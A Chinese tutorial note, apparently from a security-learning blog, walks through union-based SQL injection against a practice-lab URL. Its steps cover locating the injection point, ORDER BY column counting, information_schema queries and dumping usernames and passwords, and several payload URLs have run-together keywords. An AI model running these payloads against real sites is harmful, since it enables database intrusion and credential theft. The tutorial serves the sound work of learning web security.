• 注册
当前位置:1313e > 默认分类 >正文

12.简要sql注入

sql注入:通过恶意的注入,向数据库传递参数,来实现自定义的攻击方式。
sql注入产生的条件同时满足:
可控变量,带入数据库查询,变量不存在过滤或过滤不严谨。
注入语句要写在注入点之后,因为使用工具注入时,要告诉他注入点在哪里,因为工具默认注入点加在最后面。
信息收集做的好,你后面才知道自己要做什么。
一、(SQL注入流程)
1.如何判断注入点:随便输,页面正常没有注入点,页面不正常有注入点

?id=156266

2.猜解列名数量(字段数)order by x 一直猜到错误为止
模板:http://219.153.49.228:49720/new_list.php?id=1 order by 4
3.报错猜解准备:

http://219.153.49.228:49720/new_list.php?id=1 
union select 1,2,3,4
http://219.153.49.228:49720/new_list.php?id=-1union select 1,2,3,4
(只显示自己想要的结果)

4.信息收集:
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os
5.

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
group_concat( ):查询所有

查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:

http://219.153.49.228:49720/new_list.php?id=-1 union 
select 1,group_concat(table_name),3,4 frominformation_schema.tables wheretable_schema='mozhe_Discuz_StormGroup'

查询指定表名StormGroup_member下的列名信息:

http://219.153.49.228:49720/new_list.php?id=-1 unionselect 1,group_concat(column_name),3,4 frominformation_schema.columns wheretable_name='StormGroup_member'

6.查询指定数据

http://219.153.49.228:49720/new_list.php?id=-1 
union select 1,name,password,4 from StormGroup_memberlimit 1,1

本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 162202241@qq.com 举报,一经查实,本站将立刻删除。

最新评论

欢迎您发表评论:

请登录之后再进行评论

登录
相关推荐